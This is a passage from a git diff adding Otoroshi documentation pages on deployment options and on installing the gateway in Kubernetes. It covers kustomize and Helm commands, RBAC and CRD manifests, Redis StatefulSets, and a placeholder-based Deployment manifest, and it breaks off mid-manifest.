Cloud APIM provides Otoroshi instances as a service. You can easily create production ready Otoroshi clusters in just a few clics.

+ +

Documentation

+

Clever Cloud

+

Otoroshi provides an integration to create easily services based on application deployed on your Clever Cloud account.

+ +

Documentation

+

Kubernetes

+

Starting at version 1.5.0, Otoroshi provides a native Kubernetes support.

+ +

Documentation

+

AWS Elastic Beanstalk

+

Run Otoroshi on AWS Elastic Beanstalk

+ +

Tutorial

+

Amazon ECS

+

Deploy the Otoroshi Docker image using Amazon Elastic Container Service

+ +

Tutorial Docker image

+

GCE

+

Deploy the Docker image using Google Compute Engine container integration

+ +

Documentation Docker image

+

Azure

+

Deploy the Docker image using Azure Container Service

+ +

Documentation Docker image

+

Heroku

+

Deploy the Docker image using Docker integration

+ +

Documentation Docker image

+

CloudFoundry

+

Deploy the Docker image using -Docker integration

+ +

Documentation Docker image

+

Your own infrastructure

+

As Otoroshi is a Play Framework application, you can read the doc about putting a Play app in production.

+

Download the latest Otoroshi distribution, unzip it, customize it and run it.

+

Play Framework Production Configuration Otoroshi distribution

+

Scaling and clustering in production

+

Clustering

+

Deploy Otoroshi as a cluster of leaders and workers.

+ +

Documentation

+

Scaling Otoroshi

+

Otoroshi is designed to be reasonably easy to scale and be highly available.

+ +

Documentation

+ +
+ +
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/deploy/kubernetes.html b/docs/manual/deploy/kubernetes.html new file mode 100644 index 0000000000..09caa5f5fc --- /dev/null +++ b/docs/manual/deploy/kubernetes.html @@ -0,0 +1,5227 @@ + + + + +Kubernetes · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Kubernetes

+

Starting at version 1.5.0, Otoroshi provides a native Kubernetes support. Multiple otoroshi jobs (that are actually kubernetes controllers) are provided in order to

+
    +
  • sync kubernetes secrets of type kubernetes.io/tls to otoroshi certificates
  • +
  • act as a standard ingress controller (supporting Ingress objects)
  • +
  • provide Custom Resource Definitions (CRDs) to manage Otoroshi entities from Kubernetes and act as an ingress controller with its own resources
  • +
+

Installing otoroshi on your kubernetes cluster

Warning
+

You need to have cluster admin privileges to install otoroshi and its service account, role mapping and CRDs on a kubernetes cluster. We also advise you to create a dedicated namespace (you can name it otoroshi for example) to install otoroshi

+

If you want to deploy otoroshi into your kubernetes cluster, you can download the deployment descriptors from https://github.com/MAIF/otoroshi/tree/master/kubernetes and use kustomize to create your own overlay.

+

You can also create a kustomization.yaml file with a remote base

+
bases:
+- github.com/MAIF/otoroshi/kubernetes/kustomize/overlays/simple/?ref=v16.15.4
+
+

Then deploy it with kubectl apply -k ./overlays/myoverlay.

+

You can also use Helm to deploy a simple otoroshi cluster on your kubernetes cluster

+
helm repo add otoroshi https://maif.github.io/otoroshi/helm
+helm install my-otoroshi otoroshi/otoroshi
+
+

Below, you will find example of deployment. Do not hesitate to adapt them to your needs. Those descriptors have value placeholders that you will need to replace with actual values like

+
 env:
+  - name: APP_STORAGE_ROOT
+    value: otoroshi
+  - name: APP_DOMAIN
+    value: ${domain}
+
+

you will have to edit it to make it look like

+
 env:
+  - name: APP_STORAGE_ROOT
+    value: otoroshi
+  - name: APP_DOMAIN
+    value: 'apis.my.domain'
+
+

if you don’t want to use placeholders and environment variables, you can create a secret containing the configuration file of otoroshi

+
apiVersion: v1
+kind: Secret
+metadata:
+  name: otoroshi-config
+type: Opaque
+stringData:
+  oto.conf: >
+    include "application.conf"
+    app {
+      storage = "redis"
+      domain = "apis.my.domain"
+    }
+
+

and mount it in the otoroshi container

+
apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: otoroshi-deployment
+spec:
+  selector:
+    matchLabels:
+      run: otoroshi-deployment
+  template:
+    metadata:
+      labels:
+        run: otoroshi-deployment
+    spec:
+      serviceAccountName: otoroshi-admin-user
+      terminationGracePeriodSeconds: 60
+      hostNetwork: false
+      containers:
+      - image: maif/otoroshi:16.15.4
+        imagePullPolicy: IfNotPresent
+        name: otoroshi
+        args: ['-Dconfig.file=/usr/app/otoroshi/conf/oto.conf']
+        ports:
+          - containerPort: 8080
+            name: "http"
+            protocol: TCP
+          - containerPort: 8443
+            name: "https"
+            protocol: TCP
+        volumeMounts:
+        - name: otoroshi-config
+          mountPath: "/usr/app/otoroshi/conf"
+          readOnly: true
+      volumes:
+      - name: otoroshi-config
+        secret:
+          secretName: otoroshi-config
+        ...
+
+

You can also create several secrets for each placeholder, mount them to the otoroshi container then use their file path as value

+
 env:
+  - name: APP_STORAGE_ROOT
+    value: otoroshi
+  - name: APP_DOMAIN
+    value: 'file:///the/path/of/the/secret/file'
+
+

you can use the same trick in the config. file itself

+

Note on bare metal kubernetes cluster installation

Note
+

Bare metal kubernetes clusters don’t come with support for external loadbalancers (service of type LoadBalancer). So you will have to provide this feature in order to route external TCP traffic to Otoroshi containers running inside the kubernetes cluster. You can use projects like MetalLB that provide software LoadBalancer services to bare metal clusters or you can use and customize examples below.

Warning
+

We don’t recommand running Otoroshi behind an existing ingress controller (or something like that) as you will not be able to use features like TCP proxying, TLS, mTLS, etc. Also, this additional layer of reverse proxy will increase call latencies.

+

Common manifests

+

the following manifests are always needed. They create otoroshi CRDs, tokens, role, etc. Redis deployment is not mandatory, it’s just an example. You can use your own existing setup.

+
+
rbac.yaml +
+
+
---
+kind: ServiceAccount
+apiVersion: v1
+metadata:
+  name: otoroshi-admin-user
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  name: otoroshi-admin-user
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: otoroshi-admin-user
+subjects:
+- kind: ServiceAccount
+  name: otoroshi-admin-user
+  namespace: $namespace
+---
+kind: ClusterRole
+apiVersion: rbac.authorization.k8s.io/v1
+metadata:
+  name: otoroshi-admin-user
+rules:
+  - apiGroups:
+      - ""
+    resources:
+      - services
+      - endpoints
+      - secrets
+      - configmaps
+      - deployments
+      - namespaces
+      - pods
+    verbs:
+      - get
+      - list
+      - watch
+  - apiGroups:
+      - "apps"
+    resources:
+      - deployments
+    verbs:
+      - get
+      - list
+      - watch
+  - apiGroups:
+      - ""
+    resources:
+      - secrets
+      - configmaps
+    verbs:
+      - update
+      - create
+      - delete
+  - apiGroups:
+      - extensions
+    resources:
+      - ingresses
+      - ingressclasses
+    verbs:
+      - get
+      - list
+      - watch
+  - apiGroups:
+      - extensions
+    resources:
+      - ingresses/status
+    verbs:
+      - update
+  - apiGroups:
+      - admissionregistration.k8s.io
+    resources:
+      - validatingwebhookconfigurations
+      - mutatingwebhookconfigurations
+    verbs:
+      - get
+      - update
+      - patch
+  - apiGroups:
+      - proxy.otoroshi.io
+    resources:
+      - routes
+      - backends
+      - route-compositions
+      - service-descriptors
+      - tcp-services
+      - error-templates
+      - apikeys
+      - certificates
+      - jwt-verifiers
+      - auth-modules
+      - admin-sessions
+      - admins
+      - auth-module-users
+      - service-groups
+      - organizations
+      - tenants
+      - teams
+      - data-exporters
+      - scripts
+      - wasm-plugins
+      - global-configs
+      - green-scores
+      - coraza-configs
+    verbs:
+      - get
+      - list
+      - watch
+
crds.yaml +
+
+
---
+apiVersion: "apiextensions.k8s.io/v1"
+kind: "CustomResourceDefinition"
+metadata:
+  name: "routes.proxy.otoroshi.io"
+spec:
+  group: "proxy.otoroshi.io"
+  names:
+    kind: "Route"
+    plural: "routes"
+    singular: "route"
+  scope: "Namespaced"
+  versions:
+  - name: "v1alpha1"
+    served: false
+    storage: false
+    deprecated: true
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+  - name: "v1"
+    served: true
+    storage: true
+    deprecated: false
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+---
+apiVersion: "apiextensions.k8s.io/v1"
+kind: "CustomResourceDefinition"
+metadata:
+  name: "backends.proxy.otoroshi.io"
+spec:
+  group: "proxy.otoroshi.io"
+  names:
+    kind: "Backend"
+    plural: "backends"
+    singular: "backend"
+  scope: "Namespaced"
+  versions:
+  - name: "v1alpha1"
+    served: false
+    storage: false
+    deprecated: true
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+  - name: "v1"
+    served: true
+    storage: true
+    deprecated: false
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+---
+apiVersion: "apiextensions.k8s.io/v1"
+kind: "CustomResourceDefinition"
+metadata:
+  name: "route-compositions.proxy.otoroshi.io"
+spec:
+  group: "proxy.otoroshi.io"
+  names:
+    kind: "RouteComposition"
+    plural: "route-compositions"
+    singular: "route-composition"
+  scope: "Namespaced"
+  versions:
+  - name: "v1alpha1"
+    served: false
+    storage: false
+    deprecated: true
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+  - name: "v1"
+    served: true
+    storage: true
+    deprecated: false
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+---
+apiVersion: "apiextensions.k8s.io/v1"
+kind: "CustomResourceDefinition"
+metadata:
+  name: "service-descriptors.proxy.otoroshi.io"
+spec:
+  group: "proxy.otoroshi.io"
+  names:
+    kind: "ServiceDescriptor"
+    plural: "service-descriptors"
+    singular: "service-descriptor"
+  scope: "Namespaced"
+  versions:
+  - name: "v1alpha1"
+    served: false
+    storage: false
+    deprecated: true
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+  - name: "v1"
+    served: true
+    storage: true
+    deprecated: false
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+---
+apiVersion: "apiextensions.k8s.io/v1"
+kind: "CustomResourceDefinition"
+metadata:
+  name: "tcp-services.proxy.otoroshi.io"
+spec:
+  group: "proxy.otoroshi.io"
+  names:
+    kind: "TcpService"
+    plural: "tcp-services"
+    singular: "tcp-service"
+  scope: "Namespaced"
+  versions:
+  - name: "v1alpha1"
+    served: false
+    storage: false
+    deprecated: true
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+  - name: "v1"
+    served: true
+    storage: true
+    deprecated: false
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+---
+apiVersion: "apiextensions.k8s.io/v1"
+kind: "CustomResourceDefinition"
+metadata:
+  name: "error-templates.proxy.otoroshi.io"
+spec:
+  group: "proxy.otoroshi.io"
+  names:
+    kind: "ErrorTemplate"
+    plural: "error-templates"
+    singular: "error-templates"
+  scope: "Namespaced"
+  versions:
+  - name: "v1alpha1"
+    served: false
+    storage: false
+    deprecated: true
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+  - name: "v1"
+    served: true
+    storage: true
+    deprecated: false
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+---
+apiVersion: "apiextensions.k8s.io/v1"
+kind: "CustomResourceDefinition"
+metadata:
+  name: "apikeys.proxy.otoroshi.io"
+spec:
+  group: "proxy.otoroshi.io"
+  names:
+    kind: "Apikey"
+    plural: "apikeys"
+    singular: "apikey"
+  scope: "Namespaced"
+  versions:
+  - name: "v1alpha1"
+    served: false
+    storage: false
+    deprecated: true
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+  - name: "v1"
+    served: true
+    storage: true
+    deprecated: false
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+---
+apiVersion: "apiextensions.k8s.io/v1"
+kind: "CustomResourceDefinition"
+metadata:
+  name: "certificates.proxy.otoroshi.io"
+spec:
+  group: "proxy.otoroshi.io"
+  names:
+    kind: "Certificate"
+    plural: "certificates"
+    singular: "certificate"
+  scope: "Namespaced"
+  versions:
+  - name: "v1alpha1"
+    served: false
+    storage: false
+    deprecated: true
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+  - name: "v1"
+    served: true
+    storage: true
+    deprecated: false
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+---
+apiVersion: "apiextensions.k8s.io/v1"
+kind: "CustomResourceDefinition"
+metadata:
+  name: "jwt-verifiers.proxy.otoroshi.io"
+spec:
+  group: "proxy.otoroshi.io"
+  names:
+    kind: "JwtVerifier"
+    plural: "jwt-verifiers"
+    singular: "jwt-verifier"
+  scope: "Namespaced"
+  versions:
+  - name: "v1alpha1"
+    served: false
+    storage: false
+    deprecated: true
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+  - name: "v1"
+    served: true
+    storage: true
+    deprecated: false
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+---
+apiVersion: "apiextensions.k8s.io/v1"
+kind: "CustomResourceDefinition"
+metadata:
+  name: "auth-modules.proxy.otoroshi.io"
+spec:
+  group: "proxy.otoroshi.io"
+  names:
+    kind: "AuthModule"
+    plural: "auth-modules"
+    singular: "auth-module"
+  scope: "Namespaced"
+  versions:
+  - name: "v1alpha1"
+    served: false
+    storage: false
+    deprecated: true
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+  - name: "v1"
+    served: true
+    storage: true
+    deprecated: false
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+---
+apiVersion: "apiextensions.k8s.io/v1"
+kind: "CustomResourceDefinition"
+metadata:
+  name: "admin-sessions.proxy.otoroshi.io"
+spec:
+  group: "proxy.otoroshi.io"
+  names:
+    kind: "AdminSession"
+    plural: "admin-sessions"
+    singular: "admin-session"
+  scope: "Namespaced"
+  versions:
+  - name: "v1alpha1"
+    served: false
+    storage: false
+    deprecated: true
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+  - name: "v1"
+    served: true
+    storage: true
+    deprecated: false
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+---
+apiVersion: "apiextensions.k8s.io/v1"
+kind: "CustomResourceDefinition"
+metadata:
+  name: "admins.proxy.otoroshi.io"
+spec:
+  group: "proxy.otoroshi.io"
+  names:
+    kind: "SimpleAdminUser"
+    plural: "admins"
+    singular: "admins"
+  scope: "Namespaced"
+  versions:
+  - name: "v1alpha1"
+    served: false
+    storage: false
+    deprecated: true
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+  - name: "v1"
+    served: true
+    storage: true
+    deprecated: false
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+---
+apiVersion: "apiextensions.k8s.io/v1"
+kind: "CustomResourceDefinition"
+metadata:
+  name: "auth-module-users.proxy.otoroshi.io"
+spec:
+  group: "proxy.otoroshi.io"
+  names:
+    kind: "AuthModuleUser"
+    plural: "auth-module-users"
+    singular: "auth-module-user"
+  scope: "Namespaced"
+  versions:
+  - name: "v1alpha1"
+    served: false
+    storage: false
+    deprecated: true
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+  - name: "v1"
+    served: true
+    storage: true
+    deprecated: false
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+---
+apiVersion: "apiextensions.k8s.io/v1"
+kind: "CustomResourceDefinition"
+metadata:
+  name: "service-groups.proxy.otoroshi.io"
+spec:
+  group: "proxy.otoroshi.io"
+  names:
+    kind: "ServiceGroup"
+    plural: "service-groups"
+    singular: "service-group"
+  scope: "Namespaced"
+  versions:
+  - name: "v1alpha1"
+    served: false
+    storage: false
+    deprecated: true
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+  - name: "v1"
+    served: true
+    storage: true
+    deprecated: false
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+---
+apiVersion: "apiextensions.k8s.io/v1"
+kind: "CustomResourceDefinition"
+metadata:
+  name: "organizations.proxy.otoroshi.io"
+spec:
+  group: "proxy.otoroshi.io"
+  names:
+    kind: "Organization"
+    plural: "organizations"
+    singular: "organization"
+  scope: "Namespaced"
+  versions:
+  - name: "v1alpha1"
+    served: false
+    storage: false
+    deprecated: true
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+  - name: "v1"
+    served: true
+    storage: true
+    deprecated: false
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+---
+apiVersion: "apiextensions.k8s.io/v1"
+kind: "CustomResourceDefinition"
+metadata:
+  name: "tenants.proxy.otoroshi.io"
+spec:
+  group: "proxy.otoroshi.io"
+  names:
+    kind: "Tenant"
+    plural: "tenants"
+    singular: "tenant"
+  scope: "Namespaced"
+  versions:
+  - name: "v1alpha1"
+    served: false
+    storage: false
+    deprecated: true
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+  - name: "v1"
+    served: true
+    storage: true
+    deprecated: false
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+---
+apiVersion: "apiextensions.k8s.io/v1"
+kind: "CustomResourceDefinition"
+metadata:
+  name: "teams.proxy.otoroshi.io"
+spec:
+  group: "proxy.otoroshi.io"
+  names:
+    kind: "Team"
+    plural: "teams"
+    singular: "team"
+  scope: "Namespaced"
+  versions:
+  - name: "v1alpha1"
+    served: false
+    storage: false
+    deprecated: true
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+  - name: "v1"
+    served: true
+    storage: true
+    deprecated: false
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+---
+apiVersion: "apiextensions.k8s.io/v1"
+kind: "CustomResourceDefinition"
+metadata:
+  name: "data-exporters.proxy.otoroshi.io"
+spec:
+  group: "proxy.otoroshi.io"
+  names:
+    kind: "DateExporter"
+    plural: "data-exporters"
+    singular: "data-exporter"
+  scope: "Namespaced"
+  versions:
+  - name: "v1alpha1"
+    served: false
+    storage: false
+    deprecated: true
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+  - name: "v1"
+    served: true
+    storage: true
+    deprecated: false
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+---
+apiVersion: "apiextensions.k8s.io/v1"
+kind: "CustomResourceDefinition"
+metadata:
+  name: "scripts.proxy.otoroshi.io"
+spec:
+  group: "proxy.otoroshi.io"
+  names:
+    kind: "Script"
+    plural: "scripts"
+    singular: "script"
+  scope: "Namespaced"
+  versions:
+  - name: "v1alpha1"
+    served: false
+    storage: false
+    deprecated: true
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+  - name: "v1"
+    served: true
+    storage: true
+    deprecated: false
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+---
+apiVersion: "apiextensions.k8s.io/v1"
+kind: "CustomResourceDefinition"
+metadata:
+  name: "wasm-plugins.proxy.otoroshi.io"
+spec:
+  group: "proxy.otoroshi.io"
+  names:
+    kind: "WasmPlugin"
+    plural: "wasm-plugins"
+    singular: "wasm-plugin"
+  scope: "Namespaced"
+  versions:
+  - name: "v1alpha1"
+    served: false
+    storage: false
+    deprecated: true
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+  - name: "v1"
+    served: true
+    storage: true
+    deprecated: false
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+---
+apiVersion: "apiextensions.k8s.io/v1"
+kind: "CustomResourceDefinition"
+metadata:
+  name: "global-configs.proxy.otoroshi.io"
+spec:
+  group: "proxy.otoroshi.io"
+  names:
+    kind: "GlobalConfig"
+    plural: "global-configs"
+    singular: "global-config"
+  scope: "Namespaced"
+  versions:
+  - name: "v1alpha1"
+    served: false
+    storage: false
+    deprecated: true
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+  - name: "v1"
+    served: true
+    storage: true
+    deprecated: false
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+---
+apiVersion: "apiextensions.k8s.io/v1"
+kind: "CustomResourceDefinition"
+metadata:
+  name: "green-scores.proxy.otoroshi.io"
+spec:
+  group: "proxy.otoroshi.io"
+  names:
+    kind: "GreenScore"
+    plural: "green-scores"
+    singular: "green-score"
+  scope: "Namespaced"
+  versions:
+  - name: "v1alpha1"
+    served: false
+    storage: false
+    deprecated: true
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+  - name: "v1"
+    served: true
+    storage: true
+    deprecated: false
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+---
+apiVersion: "apiextensions.k8s.io/v1"
+kind: "CustomResourceDefinition"
+metadata:
+  name: "coraza-configs.proxy.otoroshi.io"
+spec:
+  group: "proxy.otoroshi.io"
+  names:
+    kind: "CorazaConfig"
+    plural: "coraza-configs"
+    singular: "coraza-config"
+  scope: "Namespaced"
+  versions:
+  - name: "v1alpha1"
+    served: false
+    storage: false
+    deprecated: true
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+  - name: "v1"
+    served: true
+    storage: true
+    deprecated: false
+    schema:
+      openAPIV3Schema:
+        x-kubernetes-preserve-unknown-fields: true
+        type: "object"
+
+
redis.yaml +
+
+
apiVersion: v1
+kind: Service
+metadata:
+  name: redis-leader-service
+spec:
+  ports:
+    - port: 6379
+      name: redis
+  selector:
+    run: redis-leader-deployment
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: redis-follower-service
+spec:
+  ports:
+    - port: 6379
+      name: redis
+  selector:
+    run: redis-follower-deployment
+---
+apiVersion: apps/v1
+kind: StatefulSet
+metadata:
+  name: redis-leader-deployment
+spec:
+  selector:
+    matchLabels:
+      run: redis-leader-deployment
+  serviceName: redis-leader-service
+  replicas: 1
+  template:
+    metadata:
+      labels:
+        run: redis-leader-deployment
+    spec:
+      containers:
+        - name: redis-leader-container
+          image: redis
+          imagePullPolicy: Always
+          command: ["redis-server", "--appendonly", "yes"]
+          ports:
+            - containerPort: 6379
+              name: redis
+          volumeMounts:
+          - name: redis-leader-storage
+            mountPath: /data
+            readOnly: false
+          readinessProbe:
+            exec:
+              command:
+              - sh
+              - -c
+              - "redis-cli -h $(hostname) ping"
+            initialDelaySeconds: 15
+            timeoutSeconds: 5
+          livenessProbe:
+            exec:
+              command:
+              - sh
+              - -c
+              - "redis-cli -h $(hostname) ping"
+            initialDelaySeconds: 20
+            periodSeconds: 3
+  volumeClaimTemplates:
+  - metadata:
+      name: redis-leader-storage
+      labels:
+        name: redis-leader-storage
+      annotations:
+        volume.alpha.kubernetes.io/storage-class: anything
+    spec:
+      accessModes: [ "ReadWriteOnce" ]
+      resources:
+        requests:
+          storage: 100Mi
+---
+apiVersion: apps/v1
+kind: StatefulSet
+metadata:
+  name: redis-follower-deployment
+spec:
+  selector:
+    matchLabels:
+      run: redis-follower-deployment
+  serviceName: redis-follower-service
+  replicas: 1
+  template:
+    metadata:
+      labels:
+        run: redis-follower-deployment
+    spec:
+      containers:
+        - name: redis-follower-container
+          image: redis
+          imagePullPolicy: Always
+          command: ["redis-server", "--appendonly", "yes", "--slaveof", "redis-leader-service", "6379"]
+          ports:
+            - containerPort: 6379
+              name: redis
+          volumeMounts:
+          - name: redis-follower-storage
+            mountPath: /data
+            readOnly: false
+          readinessProbe:
+            exec:
+              command:
+              - sh
+              - -c
+              - "redis-cli -h $(hostname) ping"
+            initialDelaySeconds: 15
+            timeoutSeconds: 5
+          livenessProbe:
+            exec:
+              command:
+              - sh
+              - -c
+              - "redis-cli -h $(hostname) ping"
+            initialDelaySeconds: 20
+            periodSeconds: 3
+  volumeClaimTemplates:
+  - metadata:
+      name: redis-follower-storage
+      labels:
+        name: redis-follower-storage
+      annotations:
+        volume.alpha.kubernetes.io/storage-class: anything
+    spec:
+      accessModes: [ "ReadWriteOnce" ]
+      resources:
+        requests:
+          storage: 100Mi
+
+

Deploy a simple otoroshi instanciation on a cloud provider managed kubernetes cluster

+

Here we have 2 replicas connected to the same redis instance. Nothing fancy. We use a service of type LoadBalancer to expose otoroshi to the rest of the world. You have to setup your DNS to bind otoroshi domain names to the LoadBalancer external CNAME (see the example below)

+
+
deployment.yaml +
+
+
apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: otoroshi-deployment
+spec:
+  selector:
+    matchLabels:
+      run: otoroshi-deployment
+  replicas: 2
+  strategy:
+    type: RollingUpdate
+    rollingUpdate:
+      maxUnavailable: 1
+      maxSurge: 1
+  template:
+    metadata:
+      labels:
+        run: otoroshi-deployment
+    spec:
+      serviceAccountName: otoroshi-admin-user
+      terminationGracePeriodSeconds: 60
+      hostNetwork: false
+      containers:
+      - image: maif/otoroshi:16.15.4-jdk11
+        imagePullPolicy: IfNotPresent
+        name: otoroshi
+        ports:
+          - containerPort: 8080
+            name: "http"
+            protocol: TCP
+          - containerPort: 8443
+            name: "https"
+            protocol: TCP
+        env:
+          - name: APP_STORAGE_ROOT
+            value: otoroshi
+          - name: OTOROSHI_INITIAL_ADMIN_PASSWORD
+            value: ${password}
+          - name: APP_DOMAIN
+            value: ${domain}
+          - name: APP_STORAGE
+            value: lettuce
+          - name: REDIS_URL
+            value: ${redisUrl}
+            # value: redis://redis-leader-service:6379/0
+          - name: ADMIN_API_CLIENT_ID
+            value: ${clientId}
+          - name: ADMIN_API_CLIENT_SECRET
+            value: ${clientSecret}
+          - name: ADMIN_API_ADDITIONAL_EXPOSED_DOMAIN
+            value: otoroshi-api-service.${namespace}.svc.cluster.local
+          - name: OTOROSHI_SECRET
+            value: ${otoroshiSecret}
+          - name: HEALTH_LIMIT
+            value: "5000"
+          - name: SSL_OUTSIDE_CLIENT_AUTH
+            value: Want
+          - name: HTTPS_WANT_CLIENT_AUTH
+            value: "true"
+          - name: OTOROSHI_EXPOSED_PORTS_HTTP
+            value: "80"
+          - name: OTOROSHI_EXPOSED_PORTS_HTTPS
+            value: "443"
+          - name: OTOROSHI_INITIAL_CUSTOMIZATION
+            value: >
+              {
+                "config":{
+                  "tlsSettings": {
+                    "defaultDomain": "www.${domain}",
+                    "randomIfNotFound": false
+                  },
+                  "scripts":{
+                    "enabled":true,
+                    "sinkRefs":[
+                      "cp:otoroshi.plugins.jobs.kubernetes.KubernetesAdmissionWebhookCRDValidator",
+                      "cp:otoroshi.plugins.jobs.kubernetes.KubernetesAdmissionWebhookSidecarInjector"
+                    ],
+                    "sinkConfig": {},
+                    "jobRefs":[
+                      "cp:otoroshi.plugins.jobs.kubernetes.KubernetesOtoroshiCRDsControllerJob"
+                    ],
+                    "jobConfig":{
+                      "KubernetesConfig": {
+                        "trust": false,
+                        "namespaces": [
+                          "*"
+                        ],
+                        "labels": {},
+                        "namespacesLabels": {},
+                        "ingressClasses": [
+                          "otoroshi"
+                        ],
+                        "defaultGroup": "default",
+                        "ingresses": false,
+                        "crds": true,
+                        "coreDnsIntegration": false,
+                        "coreDnsIntegrationDryRun": false,
+                        "kubeLeader": false,
+                        "restartDependantDeployments": false,
+                        "watch": false,
+                        "syncDaikokuApikeysOnly": false,
+                        "kubeSystemNamespace": "kube-system",
+                        "coreDnsConfigMapName": "coredns",
+                        "coreDnsDeploymentName": "coredns",
+                        "corednsPort": 53,
+                        "otoroshiServiceName": "otoroshi-service",
+                        "otoroshiNamespace": "${namespace}",
+                        "clusterDomain": "cluster.local",
+                        "syncIntervalSeconds": 60,
+                        "coreDnsEnv": null,
+                        "watchTimeoutSeconds": 60,
+                        "watchGracePeriodSeconds": 5,
+                        "mutatingWebhookName": "otoroshi-admission-webhook-injector",
+                        "validatingWebhookName": "otoroshi-admission-webhook-validation",
+                        "templates": {
+                          "service-group": {},
+                          "service-descriptor": {},
+                          "apikeys": {},
+                          "global-config": {},
+                          "jwt-verifier": {},
+                          "tcp-service": {},
+                          "certificate": {},
+                          "auth-module": {},
+                          "script": {},
+                          "organizations": {},
+                          "teams": {},
+                          "webhooks": {
+                            "flags": {
+                              "requestCert": true,
+                              "originCheck": true,
+                              "tokensCheck": true,
+                              "displayEnv": false,
+                              "tlsTrace": false
+                            }
+                          }
+                        }
+                      }
+                    }
+                  }
+                }
+              }  
+          - name: JAVA_OPTS
+            value: '-Xms2g -Xmx4g -XX:+UseContainerSupport -XX:MaxRAMPercentage=80.0'
+        readinessProbe:
+          httpGet:
+            path: /ready
+            port: 8080
+          failureThreshold: 1
+          initialDelaySeconds: 60
+          periodSeconds: 10
+          successThreshold: 1
+          timeoutSeconds: 2
+        livenessProbe:
+          httpGet:
+            path: /live
+            port: 8080
+          failureThreshold: 3
+          initialDelaySeconds: 60
+          periodSeconds: 10
+          successThreshold: 1
+          timeoutSeconds: 2
+        resources:
+          # requests:
+          #   cpu: "100m"
+          #   memory: "50Mi"
+          # limits:
+          #   cpu: "4G"
+          #   memory: "4Gi"
+---
+apiVersion: v1
+kind: Service
+metadata:
